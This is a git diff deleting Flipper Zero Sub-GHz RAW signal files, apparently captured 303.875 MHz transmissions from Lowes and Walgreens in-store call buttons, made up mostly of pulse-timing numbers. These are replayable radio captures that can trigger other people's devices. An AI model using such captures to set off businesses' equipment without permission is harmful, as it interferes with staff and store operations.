-7608 1189 -1810 1199 -4682 1211 -7602 1219 -1778 1201 -4720 1191 -7616 1175 -4746 1159 -1804 1201 -7620 1209 -4690 -RAW_Data: 1189 -4708 1199 -1816 1207 -4692 1191 -4724 1199 -4686 1213 -7602 1215 -10486 1227 -1772 1199 -4686 1209 -4692 1215 -7604 1205 -1796 1203 -4686 1211 -7568 1233 -1774 1195 -4726 1209 -7574 1217 -4686 1203 -1804 1209 -7604 1211 -4688 1205 -4680 1215 -1806 1215 -4692 1197 -4688 1197 -4690 1209 -7602 1217 -135134 99 -98 65 -166 363 -132 99 -98 893 -100 535 -66 197 -66 203115 -13548 131 -3650 299 -234 295 -134 233 -166 369 -358 65 -132 69233 -66 114193 -13818 -270 449 -538 355 -512 622 -338 105 -535 286 -RAW_Data: -366 138 -178 437 -161 110 -169 223 -398 516 -403 272 -654 137 -170 352 -183 422 -557 663 -487 666 -699 658 -545 361 -578 344 -234 186 -226 207 -259 612 -466 211 -628 540 -168 521 -170 275 -659 324 -600 498 -121 473 -172 115 -585 318 -212 388 -593 175 -653 593 -691 159 -684 371 -408 315 -486 531 -214 222 -663 564 -432 433 -463 495 -362 339 -612 181 -303 645 -474 116 -510 308 -181 112 -360 496 -690 543 -398 685 -240 463 -263 517 -473 541 -596 515 -461 700 -260 540 -522 597 -128 405 -179 358 -639 399 diff --git a/assets/resources/subghz/Stores/Lowes/Packaged_Rugs.sub b/assets/resources/subghz/Stores/Lowes/Packaged_Rugs.sub deleted file mode 100644 index e6ee8c4a5..000000000 --- a/assets/resources/subghz/Stores/Lowes/Packaged_Rugs.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 303875000 -Preset: FuriHalSubGhzPresetOok270Async -Protocol: RAW -RAW_Data: 104341 -66 327 -66 395 -66 1297 -66 127493 -68 69679 -66 163 -262 1503 -64 229 -64 63 -98 2405 -66 3855 -134 190643 -198 301 -102 1139 -200 799 -102 271 -68 945 -66 631 -100 55877 -64 919 -68 133 -204 99 -68 1715 -64 37559 -70 809 -64 293 -66 129 -98 161 -194 393 -64 129 -98 227 -98 423 -790 96897 -66 199 -68 271 -336 731 -100 99 -166 3675 -64 751 -366 295 -66 523 -66 1013 -298 621 -196 1137 -100 195911 -96 581 -66 167 -100 199 -170 301 -230 489 -166 969 -134 2485 -66 1099 -100 423 -66 1971 -66 35633 -10756 959 -4952 937 -2050 941 -4970 929 -7886 929 -2066 945 -4916 993 -7830 977 -2018 981 -4928 977 -7832 975 -2004 983 -4908 1009 -7830 985 -2002 973 -4926 995 -4890 1013 -4880 1017 -4892 993 -4920 1011 -7772 1017 -10708 1009 -4884 1023 -1994 971 -4916 1017 -7790 991 -2018 983 -4912 975 -7830 1009 -1978 1025 -4884 1009 -7806 1007 -2006 981 -4944 977 -7822 987 -2034 969 -4940 979 -4924 983 -4914 977 -4916 1003 -4920 983 -7830 987 -10716 991 -4904 1013 -1980 1011 -4886 1021 -7796 993 -2000 1009 -4916 979 -7824 973 -2032 977 -4902 1021 -7786 991 -2032 973 -4920 975 -7832 991 -2024 979 -4906 985 -4916 977 -4896 1025 -4890 975 -4920 987 -7798 1009 -10718 989 -4902 983 -2004 1009 -4890 987 -7792 1009 -2010 1001 -4874 1015 -7818 1009 -1986 1013 -4886 1009 -7826 979 -2014 999 -4902 1021 -7786 1021 -1984 1011 -4894 1009 -4914 1009 -4900 983 -4924 1011 -4882 1011 -7798 1025 -10712 975 -4924 987 -2004 1007 -4898 985 -7806 1005 -2010 1009 -4886 999 -7810 1001 -1994 1013 -4880 1025 -7792 1005 -2006 1013 -4888 1027 -7798 1003 -1988 1015 -4912 987 -4890 1007 -4890 1005 -4912 969 -4908 1011 -7810 971 -10720 1009 -4884 985 -1996 1011 -4878 1015 -7788 1007 -2010 969 -4908 1007 -7804 987 -2012 955 -4950 973 -7826 977 -2040 989 -4916 975 -7824 1011 -2010 987 -4916 1007 -4880 1019 -4882 1023 -4914 977 -4920 981 -7828 989 -10722 1023 -4882 1013 -2000 979 -4910 1009 -7808 985 -2012 1009 -4882 979 -7830 985 -2028 975 -4922 985 -7812 993 -2020 983 -4920 1011 -7820 979 -2016 979 -4926 1009 -4910 979 -4930 985 -4916 1007 -4880 1013 -7794 999 -10708 987 -4912 977 -2012 981 -4886 1013 -7800 997 -2004 977 -4918 979 -7784 1021 -2010 957 -4920 1009 -7802 987 -1998 1005 -4908 981 -7818 1013 -2000 1005 -4904 1015 -4906 977 -4918 1007 -4900 983 -4922 1011 -7790 1013 -10726 985 -4906 1005 -1990 1009 -4892 983 -7834 1007 -1966 1013 -4910 999 -7812 1009 -1974 1011 -4886 1029 -7798 1011 -1982 1023 -4904 1001 -7792 1009 -2012 985 -4914 1009 -4896 1013 -4896 1011 -4880 1013 -4918 985 -7802 1005 -10718 1005 -4876 1009 -1994 1013 -4876 1011 -7794 1011 -1968 1021 -4872 999 -7790 1011 -1994 1011 -4894 983 -7802 -RAW_Data: 1005 -2010 1009 -4878 993 -7826 1001 -1982 1003 -4906 999 -4886 1011 -4904 1023 -4880 1009 -4900 1013 -7790 1011 -10706 1023 -4880 1025 -1972 1003 -4890 1007 -7822 997 -2004 1009 -4888 1019 -7790 1007 -1994 1017 -4892 1007 -7828 979 -2010 1013 -4894 1011 -7794 1015 -2010 985 -4920 1007 -4882 1015 -4886 1029 -4896 1011 -4884 1015 -7830 987 -10720 1005 -4896 1015 -1964 1009 -4906 1015 -7772 1007 -1980 1009 -4912 997 -7790 1033 -1982 1017 -4874 1011 -7812 987 -1982 1039 -4872 1017 -7796 997 -2010 1007 -4890 1017 -4872 1011 -4902 983 -4888 1039 -4882 1013 -7792 1025 -10684 1045 -4866 1021 -1968 1021 -4906 987 -7794 1043 -1968 1013 -4882 1025 -7806 1009 -1984 1021 -4880 1015 -7810 1017 -1984 1005 -4884 1015 -7820 997 -1984 1011 -4904 1009 -4904 1013 -4898 1009 -4908 1015 -4894 989 -7806 1007 -10702 1043 -4874 997 -2010 1009 -4894 985 -7828 983 -2014 989 -4888 1039 -7762 1009 -1996 1025 -4880 1007 -7790 1015 -2004 983 -4898 1007 -7800 1011 -1998 999 -4882 1041 -4864 1013 -4882 1015 -4890 1025 -4884 1007 -7778 1031 -10698 1011 -4864 1021 -2002 1003 -4882 1017 -7798 1027 -1974 1001 -4894 1003 -7790 1037 -1970 1009 -4898 1009 -7824 1013 -1982 1011 -4898 1011 -7790 1013 -2002 1033 -4860 1013 -4914 1013 -4898 1017 -4866 1039 -4884 1015 -7796 1023 -10708 1017 -4878 1001 -1988 1011 -4902 1017 -7776 1041 -1976 1011 -4876 1031 -7772 1043 -1948 1045 -4874 1011 -7798 1029 -1982 1017 -4878 1013 -7786 1025 -1968 1031 -4886 1005 -4880 1039 -4882 1015 -4860 1041 -4882 1015 -7784 1031 -10668 1033 -4864 1023 -1968 1009 -4872 1023 -7804 1007 -1978 1007 -4878 1041 -7796 1011 -1986 1001 -4894 1025 -7790 1025 -1986 1015 -4874 1019 -7814 1039 -1974 1015 -4876 1025 -4892 1039 -4856 1043 -4878 1029 -4880 1005 -7806 1011 -10702 1043 -4876 1015 -1976 1005 -4880 1015 -7796 1025 -1978 1039 -4852 1047 -7786 1025 -1966 1013 -4898 1005 -7794 1049 -1978 1017 -4868 1037 -7794 1017 -1968 1021 -4894 1035 -4850 1045 -4876 997 -4892 1009 -4898 1005 -7794 1017 -10672 1041 -4850 1053 -1938 1041 -4850 1049 -7752 1031 -1992 1015 -4864 1039 -7766 1009 -1966 1035 -4886 1045 -7784 1021 -1964 1041 -4878 1007 -7816 1019 -1964 1043 -4878 1013 -4872 1039 -4870 1055 -4880 1013 -4864 1035 -7796 1017 -10706 1003 -4890 1013 -1966 1039 -4862 1027 -7800 1001 -1984 1013 -4876 1049 -7756 1035 -1992 1011 -4888 1031 -7776 1033 -1964 1039 -4882 1047 -7786 1019 -1964 1029 -4898 1015 -4868 1035 -4884 1015 -4884 1025 -4884 1027 -7776 1015 -10670 1039 -4848 1051 -1954 1039 -4850 1047 -7758 1043 -1962 1009 -4880 1039 -7742 1045 -1944 1051 -4864 1037 -7766 1049 -1962 1029 -4856 1039 -7798 1045 -1958 1025 -4892 1007 -4888 1047 -4872 1029 -4852 1039 -4890 1009 -7792 1037 -291474 65 -1048 197 -132 261 -228 97 -66 65 -166 261 -132 165 -68 199 -698 99 -162 159 -588 601 -168 67 -168 67 -136 1021 -132 -RAW_Data: 167 -134 375 -100 2469 -66 4235 -68 571 -132 5291 -98 121815 -66 2579 -66 53393 -136 953 -66 331 -106 439 -100 5541 -66 1745 -66 136319 -66 97781 -230 295 -98 719 -164 129 -174 78483 -66 747 -726 99 -784 131 -202 95 -160 65 -98 65 -100 329 -164 261 -96 497 -100 371 -66 829 -100 985 -132 395 -134 97 -64 3789 -100 913 -98 603 -98 65 -200 2585 -66 365 -98 3089 -66 100975 -68 1937 -232 65 -102 1277 -234 1123 -104 4489 -100 169501 -134 97371 -66 193 -162 851 -132 713 -64 193 -66 1269 -64 4941 -166 65 -166 705 -98 133 -236 397 -132 197 -100 401 -134 97 -164 277725 diff --git a/assets/resources/subghz/Stores/Lowes/Wirecutting.sub b/assets/resources/subghz/Stores/Lowes/Wirecutting.sub deleted file mode 100644 index 67b863e46..000000000 --- a/assets/resources/subghz/Stores/Lowes/Wirecutting.sub +++ /dev/null @@ -1,9 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 303875000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 363 -103368 99 -66 67 -198 131 -64 129 -230 167 -200 263 -102 133 -562 603 -96986 101 -236 133 -100 99 -268 131 -330 99 -300 99 -298 99 -200 333 -168 167 -18274 301 -166 167 -134 167 -268 65 -75970 65 -200 163 -66 65 -196 263 -264 99 -336 65 -266 165 -266 131 -236 135 -96968 231 -196 165 -202 563 -166 133 -200 269 -134 167 -266 165 -97100 129 -262 263 -196 99 -260 129 -66 97 -198 65 -228 97 -196 295 -230 129 -51262 601 -200 65 -234 135 -268 133 -264 99 -368 65 -302 167 -42778 165 -202 335 -198 133 -236 133 -168 169 -272 165 -168 625 -96984 291 -434 497 -230 231 -232 99 -97176 261 -194 161 -164 625 -230 65 -164 257 -196 97 -262 131 -84532 131 -226 95 -98 65 -332 97 -230 65 -196 65 -428 97 -132 131 -168 67 -270 67 -9376 529 -230 129 -520 131 -330 67 -166 133 -166 229 -97100 131 -270 133 -530 327 -66 97 -166 129 -198 65 -97224 99 -228 129 -294 97 -134 67 -168 165 -306 65 -236 299 -102 265 -97264 167 -200 199 -168 203 -238 65 -266 197 -168 301 -100 129 -366 65 -17560 99 -164 291 -166 131 -568 165 -200 99 -68 99 -234 65 -166 101 -168 165 -76538 65 -700 131 -132 591 -296 97 -97634 131 -66 65 -236 99 -300 199 -164 301 -198 135 -168 99 -334 97 -266 135 -96998 165 -236 299 -168 165 -170 165 -266 65 -266 297 -198 133 -200 133 -50496 329 -300 97 -1066 67 -232 135 -304 65 -43894 167 -366 97 -260 97 -264 159 -230 197 -198 129 -296 99 -97094 357 -364 65 -326 65 -326 327 -132 163 -97122 131 -66 133 -326 65 -264 593 -198 199 -134 299 -83502 557 -200 133 -164 919 -164 195 -228 129 -10882 599 -168 131 -398 199 -204 101 -268 327 -164 161 -97112 327 -66 63 -192 65 -162 197 -230 129 -134 97 -166 163 -266 163 -194 231 -198 97 -96812 129 -918 131 -262 459 -332 99 -232 233 -97236 589 -66 65 -166 133 -170 199 -168 301 -200 131 -196 161 -16874 133 -300 65 -700 99 -234 165 -200 525 -164 163 -77794 99 -164 229 -232 97 -358 65 -200 127 -296 65 -296 327 -166 99 -96954 135 -266 295 -166 163 -240 133 -234 133 -268 101 -232 237 -200 131 -97072 133 -100 133 -304 99 -304 101 -66 99 -234 167 -232 129 -196 359 -49548 135 -234 529 -164 165 -338 65 -168 65 -204 237 -202 197 -43548 1057 -10716 1011 -4890 1001 -2002 993 -4920 1007 -7834 975 -2004 993 -4914 1005 -7798 1003 -2004 991 -7824 1005 -4916 973 -2040 989 -4916 977 -4920 1009 -7798 997 -2006 1009 -4890 1023 -4882 1005 -4900 1011 -4900 989 -7826 987 -10746 987 -4916 -RAW_Data: 1009 -2004 977 -4922 983 -7832 1013 -2002 975 -4926 983 -7836 1013 -2002 981 -7834 1013 -4924 981 -2004 1007 -4896 1013 -4900 1025 -7824 987 -2024 1003 -4920 993 -4914 985 -4932 975 -4930 1009 -7826 987 -10742 977 -4914 1011 -2006 1001 -4926 979 -7828 985 -2014 979 -4950 979 -7828 1009 -1986 1015 -7822 989 -4942 973 -2026 979 -4902 1021 -4880 1005 -7818 1011 -1992 989 -4916 1007 -4904 1013 -4892 1009 -4882 1013 -7802 1021 -10702 983 -4938 985 -2000 1005 -4894 1011 -7802 1011 -2004 973 -4922 1015 -7804 1013 -2002 981 -7826 1013 -4914 985 -2034 971 -4940 973 -4924 1019 -7822 985 -2026 977 -4920 987 -4938 989 -4936 977 -4926 981 -7822 1007 -10728 1013 -4890 1013 -2000 985 -4926 987 -7830 973 -2024 983 -4926 1001 -7822 981 -2002 1009 -7816 1013 -4922 985 -2032 973 -4942 975 -4922 987 -7822 1021 -1986 1015 -4892 1011 -4912 987 -4918 985 -4910 1009 -7826 983 -10702 1023 -4880 1007 -2010 973 -4912 993 -7832 1009 -1974 991 -4912 1007 -7818 981 -2010 1009 -7826 987 -4928 1011 -1992 1021 -4904 997 -4920 1009 -7836 977 -2038 983 -4912 1007 -4918 1005 -4910 985 -4936 979 -7826 1021 -10724 1013 -4890 1009 -2004 1007 -4898 1011 -7802 1013 -2000 1011 -4902 1015 -7814 1019 -1966 1021 -7814 1009 -4924 983 -2034 971 -4946 1009 -4900 1001 -7820 1021 -1998 1011 -4894 1023 -4912 1001 -4908 975 -4902 1025 -7826 1003 -10686 1031 -4890 987 -2000 1009 -4894 1009 -7802 1013 -2002 975 -4930 985 -7802 1005 -2004 1015 -7800 989 -4910 1009 -2022 991 -4912 997 -4916 1009 -7834 979 -2032 997 -4912 985 -4918 1021 -4896 1013 -4908 987 -7854 987 -10728 1011 -4922 981 -2000 1007 -4900 1009 -7830 983 -1998 1031 -4890 1007 -7836 979 -2002 997 -7840 1009 -4916 1009 -1986 1011 -4922 985 -4912 1007 -7820 1011 -2028 991 -4910 997 -4910 1005 -4912 1011 -4914 981 -7832 1011 -10706 1013 -4888 1021 -1980 1007 -4914 973 -7834 985 -2030 975 -4888 1013 -7824 985 -2014 985 -7824 1011 -4914 975 -2008 1001 -4922 985 -4914 1009 -7814 985 -2008 1013 -4910 1005 -4906 1013 -4920 979 -4916 1009 -7812 1011 -10748 985 -4910 1005 -2026 977 -4922 981 -7830 987 -2018 1013 -4890 1007 -7822 1007 -2018 967 -7836 1003 -4916 1015 -1996 1005 -4920 1009 -4918 985 -7828 1011 -2004 1007 -4900 1009 -4922 985 -4912 1007 -4932 1001 -7806 993 -10740 1019 -4898 1013 -1982 1011 -4918 979 -7800 1023 -2006 975 -4924 973 -7832 971 -2026 975 -7834 985 -4912 1007 -2020 977 -4896 1029 -4880 1017 -7818 983 -2030 983 -4914 1009 -4898 981 -4916 1011 -4918 977 -7828 1013 -10752 1003 -4910 991 -2034 975 -4918 1009 -7832 985 -2010 977 -4920 1009 -7834 985 -2010 1009 -7818 987 -4924 1013 -2008 979 -4940 1003 -4914 973 -7850 997 -2000 999 -4922 1007 -4910 1005 -4930 973 -4926 987 -7856 987 -10736 1005 -4894 1005 -2006 995 -4906 1007 -7828 1009 -2010 -RAW_Data: 989 -4914 973 -7828 979 -2006 993 -7830 1007 -4926 971 -2004 993 -4914 1007 -4924 971 -7832 985 -2030 977 -4916 985 -4912 1009 -4906 1015 -4892 1007 -7824 977 -10736 981 -4944 977 -1994 999 -4920 1007 -7836 977 -2006 993 -4920 1007 -7834 977 -2002 993 -7864 975 -4916 1013 -2006 983 -4952 981 -4910 1009 -7848 975 -2014 989 -4948 973 -4932 1001 -4892 1005 -4912 1025 -7830 977 -10740 1017 -4920 989 -2006 975 -4918 1011 -7834 989 -1996 1013 -4914 977 -7844 983 -2028 981 -7846 995 -4910 977 -2038 979 -4896 1025 -4910 1007 -7798 1015 -2008 989 -4914 971 -4920 1015 -4882 997 -4908 1011 -7820 1009 -10712 985 -4908 1011 -2004 975 -4920 985 -7836 1009 -2004 977 -4922 985 -7836 1011 -2004 981 -7830 1011 -4906 1003 -2002 993 -4918 1007 -4922 1011 -7836 985 -1998 1011 -4904 1029 -4914 977 -4916 1011 -4926 989 -7834 1007 -10716 1011 -4922 987 -2008 973 -4918 1013 -7804 1019 -2002 1013 -4886 1021 -7820 985 -2026 975 -7838 989 -4948 971 -2028 975 -4924 991 -4944 999 -7830 975 -2006 989 -4942 973 -4908 1011 -4892 1013 -4912 985 -7842 987 -10710 1009 -4892 999 -2004 997 -4910 975 -7838 983 -2002 1007 -4896 983 -7828 1013 -2004 983 -7838 1013 -4900 1001 -2000 993 -4920 1007 -4920 1013 -7834 987 -2006 1011 -4916 977 -4924 1017 -4912 985 -4910 1007 -7822 1011 -10740 999 -4910 997 -2010 1009 -4918 977 -7838 983 -2032 983 -4914 1011 -7802 1011 -2014 981 -7828 1019 -4898 1015 -2014 977 -4914 1009 -4906 1007 -7832 987 -2032 999 -4918 1007 -4886 1003 -4916 995 -4920 973 -7832 1005 -10732 969 -4914 1013 -1978 1015 -4884 1017 -7802 991 -2006 1007 -4914 979 -7832 983 -1992 999 -7838 997 -4912 1001 -2002 1009 -4916 991 -4916 999 -7824 1009 -2008 995 -4910 993 -4922 1005 -4922 1007 -4916 1001 -7824 985 -173058 65 -132 99 -166 167 -266 63 -132 97 -166 201 -168 167 -68 133 -300 331 -45308 333 -100 131 -564 297 -168 431 -198 169 -236 133 -48820 99 -270 101 -302 133 -462 65 -428 99 -198 129 -232 129 -97044 559 -196 129 -198 131 -260 261 -162 455 -228 163 -97128 537 -200 265 -100 131 -532 231 -230 131 -234 67 -78622 133 -268 167 -66 99 -500 361 -162 195 -162 259 -15646 555 -328 293 -132 163 -228 95 -264 129 -264 99 -97218 161 -292 227 -166 165 -204 237 -434 99 -266 603 -97108 267 -166 131 -600 99 -234 299 -234 99 -134 269 -168 267 -97106 133 -302 65 -598 131 -300 67 -266 561 -200 167 -11630 557 -196 99 -236 561 -194 97 -262 97 -260 195 -82784 331 -166 131 -200 131 -600 563 -332 165 -97280 335 -132 165 -234 133 -202 133 -296 99 -266 101 -296 129 -360 65 -97000 229 -198 163 -196 689 -132 65 -166 235 -166 293 -198 97 -44574 331 -134 131 -266 -RAW_Data: 135 -434 65 -302 293 -262 131 -264 131 -260 99 -500 99 -336 133 -266 97 -402 133 -704 99 -41108 301 -166 229 -166 165 -266 65 -536 99 -334 231 -166 233 -97320 295 -392 97 -164 129 -194 127 -230 97 -166 65 -164 291 -77382 299 -504 99 -100 165 -434 165 -266 197 -16738 165 -636 99 -234 99 -698 99 -534 131 -97300 333 -430 97 -264 97 -392 97 -196 293 -230 63 -294 97 -97106 131 -298 65 -300 101 -568 99 -198 67 -198 131 -234 133 -268 99 -97214 131 -164 131 -66 95 -230 65 -950 131 -228 161 -10470 99 -296 295 -230 97 -198 99 -304 101 -502 365 -196 65 -83734 131 -232 99 -296 263 -166 265 -234 99 -298 67 -232 133 -66 65 -234 99 -97032 295 -234 67 -234 231 -730 133 -404 65 -143692 299 -196 97 -264 133 -234 131 -196 95 -160 63 -228 129 -228 97 -66 131 -42744 131 -326 131 -528 65 -328 97 -300 559 -232 129 -97158 131 -302 99 -596 133 -234 99 -434 99 -164 97 -196 99 diff --git a/assets/resources/subghz/Stores/Walgreens/Walgreens_Cough.sub b/assets/resources/subghz/Stores/Walgreens/Walgreens_Cough.sub deleted file mode 100644 index bd8af40ac..000000000 --- a/assets/resources/subghz/Stores/Walgreens/Walgreens_Cough.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 303875000 -Preset: FuriHalSubGhzPresetOok270Async -Protocol: RAW -RAW_Data: 1013 -1982 1011 245 711 -16388 65 -6832 63 -98 3155 -100 199 -130 991595 -10742 971 -4942 979 -4900 991 -2034 971 -4946 977 -4920 985 -7860 975 -4902 1009 -1992 1017 -4906 1003 -4878 1011 -7840 983 -2000 1009 -7810 997 -2020 995 -7820 999 -2004 1011 -4892 1019 -4870 1025 -4902 1015 -7814 1009 -10710 1009 -4872 1025 -4912 1009 -1968 1019 -4888 1029 -4904 1019 -7794 1007 -4902 1037 -1982 999 -4912 987 -4938 977 -7842 1021 -1964 1035 -7828 1013 -1982 1021 -7818 997 -2002 1009 -4912 1009 -4890 1015 -4882 1011 -7828 1009 -10728 1011 -4892 1009 -4906 1021 -1982 1015 -4898 1005 -4882 1019 -7816 1011 -4906 997 -1996 997 -4922 1009 -4896 1023 -7788 1013 -1990 1031 -7768 1017 -2000 1011 -7816 1017 -1970 1009 -4882 1013 -4922 983 -4914 1007 -7796 1011 -10710 989 -4942 1009 -4864 1025 -1962 1029 -4880 1039 -4882 1013 -7798 1023 -4894 1007 -1976 1043 -4880 1023 -4896 1037 -7794 1019 -2002 1025 -7802 1021 -1972 1023 -7808 1041 -1970 1017 -4892 1023 -4920 1007 -4908 1015 -7808 1011 -10710 1011 -4912 999 -4910 1033 -1938 1049 -4876 1027 -4892 1005 -7808 1045 -4848 1033 -1970 1025 -4894 1045 -4896 1013 -7808 1043 -1968 1011 -7820 1013 -1988 1039 -7762 1057 -1942 1051 -4868 1041 -4846 1051 -4878 1029 -7776 1045 -10670 1029 -4868 1053 -4850 1039 -1938 1055 -4846 1073 -4834 1049 -7780 1035 -4872 1027 -1946 1049 -4900 1037 -4848 1075 -7788 1047 -1960 1025 -7794 1033 -1986 1047 -7810 1027 -1958 1051 -4872 1047 -4868 1067 -4858 1045 -7786 1045 -10706 1039 -4848 1053 -4866 1041 -1970 1045 -4844 1049 -4866 1073 -7754 1067 -4854 1047 -1968 1037 -4882 1043 -4842 1083 -7754 1049 -1964 1065 -7786 1035 -1972 1047 -7798 1051 -1950 1031 -4868 1069 -4838 1053 -4866 1039 -7764 1049 -10668 1067 -4858 1051 -4832 1037 -1968 1053 -4842 1059 -4830 1081 -7742 1065 -4846 1039 -1932 1051 -4870 1039 -4880 1047 -7764 1053 -1954 1037 -7788 1043 -1986 1047 -7784 1037 -1960 1053 -4860 1039 -4882 1043 -4854 1049 -7782 1065 -10684 1037 -4858 1051 -4878 1039 -1968 1041 -4848 1053 -4872 1035 -7790 1039 -4846 1085 -1924 1045 -4868 1063 -4862 1045 -7794 1049 -1962 1059 -7780 1033 -1962 1069 -7774 1049 -1958 1065 -4846 1067 -4846 1065 -4856 1051 -7790 1027 -10678 1043 -4866 1027 -4870 1039 -1936 1051 -4846 1071 -4844 1043 -7778 1043 -4842 1051 -1960 1043 -4856 1051 -4872 1029 -7772 1081 -1918 1077 -7740 1047 -1962 1071 -7762 1043 -1946 1081 -4860 1051 -4872 1043 -4840 1083 -7778 1037 -10690 1067 -4832 1051 -4870 1041 -1970 1047 -4850 1085 -4840 1043 -7792 1039 -4842 1085 -1920 1075 -4848 1043 -4860 1053 -7778 1071 -1936 1077 -7744 1077 -1950 1049 -7782 1053 -1954 1065 -4840 1049 -4888 1051 -4846 1069 -7772 1045 -10686 1079 -4840 1071 -4824 1051 -1968 1041 -4842 1073 -4840 1055 -7762 1041 -4844 1051 -1960 1055 -4844 1061 -4862 1039 -7764 1053 -1936 1071 -7760 1043 -1946 1049 -7774 1067 -1932 1077 -4826 -RAW_Data: 1049 -4872 1041 -4884 1047 -7762 1053 -10698 1033 -4872 1057 -4828 1079 -1944 1051 -4846 1037 -4858 1049 -7788 1037 -4878 1049 -1938 1051 -4862 1071 -4846 1045 -7778 1049 -1958 1063 -7784 1041 -1976 1045 -7786 1023 -1964 1071 -4860 1021 -4886 1047 -4858 1055 -7778 1041 -10674 1081 -4846 1055 -4844 1073 -1930 1057 -4840 1051 -4868 1073 -7764 1047 -4846 1029 -1948 1077 -4850 1051 -4838 1065 -7736 1085 -1922 1069 -7760 1043 -1946 1051 -7768 1071 -1932 1041 -4856 1051 -4868 1043 -4850 1049 -7792 1031 -10690 1033 -4876 1055 -4846 1053 -1938 1073 -4848 1043 -4860 1055 -7796 1039 -4874 1029 -1948 1051 -4874 1073 -4850 1045 -7808 1049 -1960 1037 -7788 1037 -1980 1049 -7786 1039 -1966 1035 -4892 1049 -4840 1069 -4850 1075 -7766 1043 -10706 1039 -4848 1073 -4834 1085 -1922 1069 -4846 1043 -4888 1027 -7774 1081 -4844 1037 -1978 1049 -4838 1073 -4876 1041 -7760 1051 -1966 1035 -7774 1049 -1970 1037 -7760 1077 -1924 1083 -4830 1073 -4840 1057 -4848 1053 -7760 1069 -10662 1043 -4858 1057 -4848 1031 -1950 1043 -4854 1047 -4878 1047 -7790 1041 -4850 1051 -1954 1073 -4878 1041 -4888 1049 -7748 1055 -1960 1071 -7788 1047 -1958 1039 -7790 1031 -1952 1049 -4878 1043 -4880 1031 -4900 1015 -7810 1041 -10674 1075 -4838 1047 -4866 1067 -1936 1043 -4862 1053 -4864 1067 -7774 1051 -4876 1035 -1964 1031 -4898 1015 -4872 1071 -7794 1041 -1960 1049 -7786 1041 -1966 1041 -7758 1049 -1958 1073 -4850 1047 -4852 1051 -4858 1033 -7792 1047 -10670 1053 -4860 1023 -4876 1027 -1950 1047 -4872 1041 -4850 1051 -7786 1031 -4858 1045 -1954 1065 -4868 1025 -4884 1039 -7790 1045 -1988 1051 -7768 1039 -1954 1051 -7788 1049 -1964 1067 -4862 1047 -4870 1039 -4866 1053 -7790 1049 -10700 1037 -4858 1085 -4836 1071 -1932 1047 -4856 1055 -4852 1071 -7758 1047 -4850 1051 -1966 1037 -4868 1069 -4862 1047 -7784 1041 -1966 1039 -7792 1047 -1958 1039 -7794 1041 -1966 1045 -4834 1049 -4862 1051 -4864 1041 -7768 1049 -10656 1069 -4836 1051 -4862 1035 -1934 1049 -4870 1023 -4880 1041 -7764 1053 -4842 1041 -1932 1049 -4872 1037 -4850 1047 -7792 1055 -1954 1039 -7796 1045 -1938 1049 -7792 1041 -1966 1035 -4890 1047 -4866 1039 -4848 1061 -7768 1049 -258910 67 -596 265 -134 101 -2026 65 -132 97 -498 97 -396 97 -132 165 -100 131 -664 65 -132 2045 -400 67 -166 65 -134 133 -64 1079 -166 531 -132 2173 \ No newline at end of file diff --git a/assets/resources/subghz/Stores/Walgreens/Walgreens_Skincare.sub b/assets/resources/subghz/Stores/Walgreens/Walgreens_Skincare.sub deleted file mode 100644 index f8a93b30c..000000000 --- a/assets/resources/subghz/Stores/Walgreens/Walgreens_Skincare.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 303875000 -Preset: FuriHalSubGhzPresetOok270Async -Protocol: RAW -RAW_Data: 741 -17114 829 -68 1063 -132 431 -990 395 -598 395 -98 1417 -132 989 -68 295 -66 259 -66 329 -128 261 -132 265 -818 263 -130 393 -724 297 -132 229 -130 97 -98 295 -164 363 -200 263 -366 363 -132 959 -98 561 -100 355489 -10690 1053 -4850 1063 -4870 1041 -1964 1049 -4834 1071 -4848 1047 -7796 1067 -4850 1053 -1928 1067 -7774 1041 -1948 1051 -4840 1069 -4858 1045 -7756 1049 -4878 1043 -4832 1055 -1952 1071 -4832 1049 -4868 1037 -4878 1047 -7758 1059 -10660 1047 -4870 1037 -4850 1049 -1968 1047 -4872 1039 -4848 1049 -7792 1043 -4868 1053 -1938 1067 -7760 1043 -1982 1027 -4876 1043 -4868 1049 -7778 1049 -4870 1069 -4856 1063 -1946 1051 -4870 1031 -4888 1043 -4856 1049 -7786 1055 -10694 1039 -4842 1075 -4874 1045 -1970 1033 -4874 1037 -4848 1085 -7754 1041 -4870 1069 -1920 1049 -7788 1073 -1932 1043 -4858 1051 -4888 1017 -7790 1027 -4860 1045 -4862 1071 -1928 1049 -4870 1041 -4874 1043 -4842 1047 -7784 1041 -10666 1047 -4876 1053 -4850 1037 -1970 1019 -4876 1055 -4862 1037 -7796 1047 -4844 1051 -1954 1037 -7796 1055 -1936 1053 -4880 1041 -4878 1039 -7800 1049 -4840 1073 -4844 1075 -1958 1047 -4866 1023 -4870 1049 -4872 1045 -7808 1039 -10670 1049 -4876 1041 -4878 1029 -1950 1049 -4864 1071 -4850 1045 -7770 1049 -4868 1039 -1970 1047 -7792 1051 -1954 1039 -4880 1043 -4876 1047 -7776 1025 -4870 1037 -4858 1049 -1956 1071 -4846 1047 -4846 1049 -4858 1047 -7782 1055 -10644 1079 -4816 1079 -4844 1041 -1934 1051 -4868 1039 -4846 1049 -7774 1055 -4854 1041 -1940 1049 -7792 1057 -1952 1039 -4882 1057 -4846 1051 -7782 1073 -4848 1047 -4896 1045 -1960 1047 -4872 1033 -4894 1045 -4874 1039 -7794 1025 -10692 1051 -4866 1039 -4848 1049 -1968 1053 -4874 1035 -4876 1045 -7772 1047 -4842 1071 -1934 1045 -7802 1047 -1958 1031 -4876 1049 -4880 1045 -7786 1039 -4856 1075 -4868 1049 -1930 1063 -4860 1045 -4864 1029 -4876 1037 -7754 1059 -10690 1023 -4874 1027 -4850 1045 -1962 1043 -4844 1075 -4826 1051 -7782 1039 -4852 1053 -1928 1071 -7748 1049 -1958 1039 -4884 1049 -4846 1047 -7794 1043 -4878 1039 -4878 1045 -1960 1039 -4880 1041 -4872 1063 -4860 1047 -7790 1033 -10682 1043 -4876 1041 -4874 1043 -1962 1049 -4832 1049 -4862 1049 -7796 1035 -4872 1041 -1968 1049 -7752 1051 -1966 1037 -4892 1049 -4872 1041 -7796 1039 